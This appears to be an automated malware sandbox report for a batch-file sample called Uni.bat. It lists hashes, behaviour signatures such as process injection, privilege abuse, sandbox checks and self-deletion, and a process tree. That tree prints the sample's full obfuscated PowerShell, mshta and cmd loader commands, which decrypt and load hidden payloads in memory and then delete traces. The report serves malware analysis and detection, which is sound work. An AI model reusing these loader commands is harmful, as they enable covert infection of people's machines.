Analysis
-
max time kernel
240s -
max time network
196s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
20-05-2024 16:14
Static task
static1
Behavioral task
behavioral1
Sample
Uni.bat
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
Uni.bat
Resource
win10v2004-20240426-en
Behavioral task
behavioral3
Sample
Uni.bat
Resource
win11-20240419-en
General
-
Target
Uni.bat
-
Size
12.6MB
-
MD5
898f49c739026123b6a3811fa31abe70
-
SHA1
31ff6036b40d70d21cb1c4c0163cba0d4c720551
-
SHA256
78b0a14a882dec287c0dc5a294ad02a4a5aaa0d130839d49f282c7d61069471f
-
SHA512
a9aa2bf15db84361f315156ee6386cac49c14c2449a72e2f50b2e0b8d100781019c246c03a38a37d5dfc71a7c1c5451457faba074d1a875cab615ecb8d3e453d
-
SSDEEP
49152:sW7ldCjqzV0qZpSjVbHDGYxqXTQPJee/X5nerh1gnfFijx6ygGSPlPNEIKlfuK1u:i
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
Processes:
Uni.bat.exedescription pid process target process PID 760 created 564 760 Uni.bat.exe winlogon.exe PID 760 created 564 760 Uni.bat.exe winlogon.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
$sxr-mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000\Control Panel\International\Geo\Nation $sxr-mshta.exe -
Deletes itself 1 IoCs
Processes:
Uni.bat.exepid process 760 Uni.bat.exe -
Executes dropped EXE 4 IoCs
Processes:
Uni.bat.exe$sxr-mshta.exe$sxr-cmd.exe$sxr-powershell.exepid process 760 Uni.bat.exe 1960 $sxr-mshta.exe 504 $sxr-cmd.exe 936 $sxr-powershell.exe -
Suspicious use of SetThreadContext 4 IoCs
Processes:
Uni.bat.exedescription pid process target process PID 760 set thread context of 1088 760 Uni.bat.exe dllhost.exe PID 760 set thread context of 4292 760 Uni.bat.exe dllhost.exe PID 760 set thread context of 1484 760 Uni.bat.exe dllhost.exe PID 760 set thread context of 4116 760 Uni.bat.exe dllhost.exe -
Drops file in Windows directory 8 IoCs
Processes:
Uni.bat.exetaskmgr.exedescription ioc process File opened for modification C:\Windows\$sxr-powershell.exe Uni.bat.exe File created C:\Windows\$sxr-mshta.exe Uni.bat.exe File opened for modification C:\Windows\$sxr-mshta.exe Uni.bat.exe File created C:\Windows\$sxr-cmd.exe Uni.bat.exe File opened for modification C:\Windows\$sxr-cmd.exe Uni.bat.exe File created C:\Windows\rescache\_merged\4183903823\2290032291.pri taskmgr.exe File created C:\Windows\rescache\_merged\1601268389\715946058.pri taskmgr.exe File created C:\Windows\$sxr-powershell.exe Uni.bat.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
taskmgr.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000 taskmgr.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
taskmgr.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString taskmgr.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 taskmgr.exe -
Kills process with taskkill 1 IoCs
Processes:
taskkill.exepid process 4384 taskkill.exe -
Modifies registry class 2 IoCs
Processes:
$sxr-mshta.exetaskmgr.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance $sxr-mshta.exe Key created \REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000_Classes\Local Settings taskmgr.exe -
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
Uni.bat.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exetaskmgr.exepid process 760 Uni.bat.exe 760 Uni.bat.exe 760 Uni.bat.exe 760 Uni.bat.exe 1088 dllhost.exe 1088 dllhost.exe 4292 dllhost.exe 4292 dllhost.exe 4292 dllhost.exe 4292 dllhost.exe 1088 dllhost.exe 1088 dllhost.exe 760 Uni.bat.exe 760 Uni.bat.exe 936 $sxr-powershell.exe 936 $sxr-powershell.exe 936 $sxr-powershell.exe 936 $sxr-powershell.exe 760 Uni.bat.exe 1484 dllhost.exe 1484 dllhost.exe 4116 dllhost.exe 4116 dllhost.exe 4116 dllhost.exe 4116 dllhost.exe 1484 dllhost.exe 1484 dllhost.exe 760 Uni.bat.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
taskmgr.exepid process 1492 taskmgr.exe -
Suspicious use of AdjustPrivilegeToken 12 IoCs
Processes:
Uni.bat.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exetaskkill.exetaskmgr.exedescription pid process Token: SeDebugPrivilege 760 Uni.bat.exe Token: SeDebugPrivilege 760 Uni.bat.exe Token: SeDebugPrivilege 1088 dllhost.exe Token: SeDebugPrivilege 4292 dllhost.exe Token: SeDebugPrivilege 936 $sxr-powershell.exe Token: SeDebugPrivilege 760 Uni.bat.exe Token: SeDebugPrivilege 1484 dllhost.exe Token: SeDebugPrivilege 4116 dllhost.exe Token: SeDebugPrivilege 4384 taskkill.exe Token: SeDebugPrivilege 1492 taskmgr.exe Token: SeSystemProfilePrivilege 1492 taskmgr.exe Token: SeCreateGlobalPrivilege 1492 taskmgr.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
Processes:
taskmgr.exepid process 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe -
Suspicious use of SendNotifyMessage 64 IoCs
Processes:
taskmgr.exepid process 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe 1492 taskmgr.exe -
Suspicious use of WriteProcessMemory 46 IoCs
Processes:
cmd.exeUni.bat.exe$sxr-mshta.exe$sxr-cmd.execmd.exedescription pid process target process PID 5032 wrote to memory of 760 5032 cmd.exe Uni.bat.exe PID 5032 wrote to memory of 760 5032 cmd.exe Uni.bat.exe PID 760 wrote to memory of 1088 760 Uni.bat.exe dllhost.exe PID 760 wrote to memory of 1088 760 Uni.bat.exe dllhost.exe PID 760 wrote to memory of 1088 760 Uni.bat.exe dllhost.exe PID 760 wrote to memory of 1088 760 Uni.bat.exe dllhost.exe PID 760 wrote to memory of 1088 760 Uni.bat.exe dllhost.exe PID 760 wrote to memory of 1088 760 Uni.bat.exe dllhost.exe PID 760 wrote to memory of 1088 760 Uni.bat.exe dllhost.exe PID 760 wrote to memory of 4292 760 Uni.bat.exe dllhost.exe PID 760 wrote to memory of 4292 760 Uni.bat.exe dllhost.exe PID 760 wrote to memory of 4292 760 Uni.bat.exe dllhost.exe PID 760 wrote to memory of 4292 760 Uni.bat.exe dllhost.exe PID 760 wrote to memory of 4292 760 Uni.bat.exe dllhost.exe PID 760 wrote to memory of 4292 760 Uni.bat.exe dllhost.exe PID 760 wrote to memory of 4292 760 Uni.bat.exe dllhost.exe PID 760 wrote to memory of 4292 760 Uni.bat.exe dllhost.exe PID 760 wrote to memory of 4292 760 Uni.bat.exe dllhost.exe PID 1960 wrote to memory of 504 1960 $sxr-mshta.exe $sxr-cmd.exe PID 1960 wrote to memory of 504 1960 $sxr-mshta.exe $sxr-cmd.exe PID 504 wrote to memory of 936 504 $sxr-cmd.exe $sxr-powershell.exe PID 504 wrote to memory of 936 504 $sxr-cmd.exe $sxr-powershell.exe PID 760 wrote to memory of 1484 760 Uni.bat.exe dllhost.exe PID 760 wrote to memory of 1484 760 Uni.bat.exe dllhost.exe PID 760 wrote to memory of 1484 760 Uni.bat.exe dllhost.exe PID 760 wrote to memory of 1484 760 Uni.bat.exe dllhost.exe PID 760 wrote to memory of 1484 760 Uni.bat.exe dllhost.exe PID 760 wrote to memory of 1484 760 Uni.bat.exe dllhost.exe PID 760 wrote to memory of 1484 760 Uni.bat.exe dllhost.exe PID 760 wrote to memory of 4116 760 Uni.bat.exe dllhost.exe PID 760 wrote to memory of 4116 760 Uni.bat.exe dllhost.exe PID 760 wrote to memory of 4116 760 Uni.bat.exe dllhost.exe PID 760 wrote to memory of 4116 760 Uni.bat.exe dllhost.exe PID 760 wrote to memory of 4116 760 Uni.bat.exe dllhost.exe PID 760 wrote to memory of 4116 760 Uni.bat.exe dllhost.exe PID 760 wrote to memory of 4116 760 Uni.bat.exe dllhost.exe PID 760 wrote to memory of 4116 760 Uni.bat.exe dllhost.exe PID 760 wrote to memory of 4116 760 Uni.bat.exe dllhost.exe PID 760 wrote to memory of 880 760 Uni.bat.exe cmd.exe PID 760 wrote to memory of 880 760 Uni.bat.exe cmd.exe PID 880 wrote to memory of 1892 880 cmd.exe PING.EXE PID 880 wrote to memory of 1892 880 cmd.exe PING.EXE PID 880 wrote to memory of 4384 880 cmd.exe taskkill.exe PID 880 wrote to memory of 4384 880 cmd.exe taskkill.exe PID 880 wrote to memory of 1996 880 cmd.exe attrib.exe PID 880 wrote to memory of 1996 880 cmd.exe attrib.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:564
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{f9425ec6-9286-4c60-ad2e-7926d10e7480}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1088 -
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{0569aece-4a80-4ae7-9e1a-fe5fd3779fd2}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1484
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:5032 -
C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe"Uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function agDFc($vCpVI){ $Qviqn=[System.Security.Cryptography.Aes]::Create(); $Qviqn.Mode=[System.Security.Cryptography.CipherMode]::CBC; $Qviqn.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $Qviqn.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eSyKXuxugFflvGlW9qE6Iqg8XcAom2v4/DjQoKKC570='); $Qviqn.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9iro50udEDaxZ/wkUff9RA=='); $FmMlx=$Qviqn.CreateDecryptor(); $return_var=$FmMlx.TransformFinalBlock($vCpVI, 0, $vCpVI.Length); $FmMlx.Dispose(); $Qviqn.Dispose(); $return_var;}function cZEYh($vCpVI){ $WLTiH=New-Object System.IO.MemoryStream(,$vCpVI); $KNxYU=New-Object System.IO.MemoryStream; $LOvEr=New-Object System.IO.Compression.GZipStream($WLTiH, [IO.Compression.CompressionMode]::Decompress); $LOvEr.CopyTo($KNxYU); $LOvEr.Dispose(); $WLTiH.Dispose(); $KNxYU.Dispose(); $KNxYU.ToArray();}function fELFD($vCpVI,$TXpag){ $fzHaG=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$vCpVI); $UtByz=$fzHaG.EntryPoint; $UtByz.Invoke($null, $TXpag);}$QLGin=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($AkEcQ in $QLGin) { if ($AkEcQ.StartsWith('SEROXEN')) { $fJBxd=$AkEcQ.Substring(7); break; }}$CjuJm=[string[]]$fJBxd.Split('\');$hxBpb=cZEYh (agDFc ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($CjuJm[0])));$OyvxC=cZEYh (agDFc ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($CjuJm[1])));fELFD $OyvxC (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));fELFD $hxBpb (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Deletes itself
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:760 -
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{6030730f-b9c9-44f6-8aab-6969ee8e3245}3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4292 -
C:\Windows\SysWOW64\dllhost.exeC:\Windows\SysWOW64\dllhost.exe /Processid:{0aa5fa8d-c5ef-4647-a375-57d6ec538710}3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4116 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C PING localhost -n 8 >NUL & taskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe" & ATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe" & del /f "C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe" & exit3⤵
- Suspicious use of WriteProcessMemory
PID:880 -
C:\Windows\system32\PING.EXEPING localhost -n 84⤵
- Runs ping.exe
PID:1892 -
C:\Windows\system32\taskkill.exetaskkill /F /IM "C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe"4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4384 -
C:\Windows\system32\attrib.exeATTRIB -h -s "C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe"4⤵
- Views/modifies file attributes
PID:1996
-
C:\Windows\$sxr-mshta.exeC:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-jUsBURfHSoufmNeEAjpO4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"1⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1960 -
C:\Windows\$sxr-cmd.exe"C:\Windows\$sxr-cmd.exe" /c %$sxr-jUsBURfHSoufmNeEAjpO4312:&#<?=%2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:504 -
C:\Windows\$sxr-powershell.exeC:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function hufeg($iDMxb){ $Elzpw=[System.Security.Cryptography.Aes]::Create(); $Elzpw.Mode=[System.Security.Cryptography.CipherMode]::CBC; $Elzpw.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $Elzpw.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ScFxiXv+iEo0UMCuEp0Dj6ldTafwKIFrpQdT06sepfk='); $Elzpw.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x90xMD7ECTiuD6SgY+FhCA=='); $wCTZr=$Elzpw.('rotpyrceDetaerC'[-1..-15] -join '')(); $YgtPo=$wCTZr.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iDMxb, 0, $iDMxb.Length); $wCTZr.Dispose(); $Elzpw.Dispose(); $YgtPo;}function FJcTY($iDMxb){ $KHdof=New-Object System.IO.MemoryStream(,$iDMxb); $mdDGq=New-Object System.IO.MemoryStream; $PZsap=New-Object System.IO.Compression.GZipStream($KHdof, [IO.Compression.CompressionMode]::Decompress); $PZsap.CopyTo($mdDGq); $PZsap.Dispose(); $KHdof.Dispose(); $mdDGq.Dispose(); $mdDGq.ToArray();}function vUmWc($iDMxb,$PbTpW){ $YHPse=[System.Reflection.Assembly]::Load([byte[]]$iDMxb); $aMqIy=$YHPse.EntryPoint; $aMqIy.Invoke($null, $PbTpW);}$Elzpw1 = New-Object System.Security.Cryptography.AesManaged;$Elzpw1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Elzpw1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Elzpw1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ScFxiXv+iEo0UMCuEp0Dj6ldTafwKIFrpQdT06sepfk=');$Elzpw1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x90xMD7ECTiuD6SgY+FhCA==');$lkChZ = $Elzpw1.('rotpyrceDetaerC'[-1..-15] -join '')();$kveij = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('skxuT638mXYXO82tnMu4Nw==');$kveij = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij, 0, $kveij.Length);$kveij = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij);$uYwHJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7tPhtRoBPpmbD4jKqCrROmZ5ihpYMWVokvpj2Ng/Pz8=');$uYwHJ = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uYwHJ, 0, $uYwHJ.Length);$uYwHJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uYwHJ);$XPhKE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MN4dM3v9612JtLqaveCMYg==');$XPhKE = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XPhKE, 0, $XPhKE.Length);$XPhKE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XPhKE);$muibj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('omE0gz6POPNwhNmUAnPGH44LhwPPACLWik/KT0dk5wsKXAxtKag+L5FPGR5kaqhlGUck2HtfdRNBwrYMOEAetiGgAox0exmtDDnAYLadphZBvi4OP8B8BNL4k5y/z1AEr7oudmgyCQifH3aXxa/gUUa4xjDsSD2YTOub7PHlsdmqG91RSBUMJH4vfT2zptSsj0OSscQsY4xVPZ8OjeRKbzP+BjF+Uue1s9LcXQdrizsUEKJN4dY28g0skU19VzfudgJv7Qa+SS93YCgWa9n+oNhygZquca/xgmF4Z+su7WedF+8tBgUKzviRtdEdVgLq/OMSlirCLjvFnSHC2y9K1oTEEyD1mQB836kwPebOOTmBNH6vdn2bEQQYiF/vc3FItt5vYPuWyJGzUen95KOQjYu7YoPz/dFXDUgmI65vnuw=');$muibj = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($muibj, 0, $muibj.Length);$muibj = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($muibj);$DHHcr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tYnkG6mWBgWnZf6oIR3L5A==');$DHHcr = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DHHcr, 0, $DHHcr.Length);$DHHcr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DHHcr);$EQNXr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5fF2zWzAZ0BefyD1XaGcLw==');$EQNXr = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EQNXr, 0, $EQNXr.Length);$EQNXr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EQNXr);$mYQZS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3I7S8iNpJjrn0k9Lgckneg==');$mYQZS = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mYQZS, 0, $mYQZS.Length);$mYQZS = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mYQZS);$DbkFT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('v8BsdeVWD9I78LbbRhRFrA==');$DbkFT = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DbkFT, 0, $DbkFT.Length);$DbkFT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DbkFT);$jgfOd = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OEFFbXtp5W2U1hAoq0CpPw==');$jgfOd = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jgfOd, 0, $jgfOd.Length);$jgfOd = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jgfOd);$kveij0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1+Vym/OwDnC1v1RFNGQ5MA==');$kveij0 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij0, 0, $kveij0.Length);$kveij0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij0);$kveij1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1UB7UYof3ztQu3+ei666DQ==');$kveij1 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij1, 0, $kveij1.Length);$kveij1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij1);$kveij2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9594UuKb/Z+/WVWczIhxbQ==');$kveij2 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij2, 0, $kveij2.Length);$kveij2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij2);$kveij3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lxkDZyakK1CM3mmPkfi6OQ==');$kveij3 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij3, 0, $kveij3.Length);$kveij3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij3);$lkChZ.Dispose();$Elzpw1.Dispose();if (@(get-process -ea silentlycontinue $kveij3).count -gt 1) {exit};$ebqGe = [Microsoft.Win32.Registry]::$DbkFT.$mYQZS($kveij).$EQNXr($uYwHJ);$SceND=[string[]]$ebqGe.Split('\');$sNXpr=FJcTY(hufeg([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($SceND[1])));vUmWc $sNXpr (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$GiWwX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($SceND[0]);$Elzpw = New-Object System.Security.Cryptography.AesManaged;$Elzpw.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Elzpw.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Elzpw.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ScFxiXv+iEo0UMCuEp0Dj6ldTafwKIFrpQdT06sepfk=');$Elzpw.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x90xMD7ECTiuD6SgY+FhCA==');$wCTZr = $Elzpw.('rotpyrceDetaerC'[-1..-15] -join '')();$GiWwX = $wCTZr.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GiWwX, 0, $GiWwX.Length);$wCTZr.Dispose();$Elzpw.Dispose();$KHdof = New-Object System.IO.MemoryStream(, $GiWwX);$mdDGq = New-Object System.IO.MemoryStream;$PZsap = New-Object System.IO.Compression.GZipStream($KHdof, [IO.Compression.CompressionMode]::$kveij1);$PZsap.$jgfOd($mdDGq);$PZsap.Dispose();$KHdof.Dispose();$mdDGq.Dispose();$GiWwX = $mdDGq.ToArray();$cyNnW = $muibj | IEX;$YHPse = $cyNnW::$kveij2($GiWwX);$aMqIy = $YHPse.EntryPoint;$aMqIy.$kveij0($null, (, [string[]] ($XPhKE)))3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:936
-
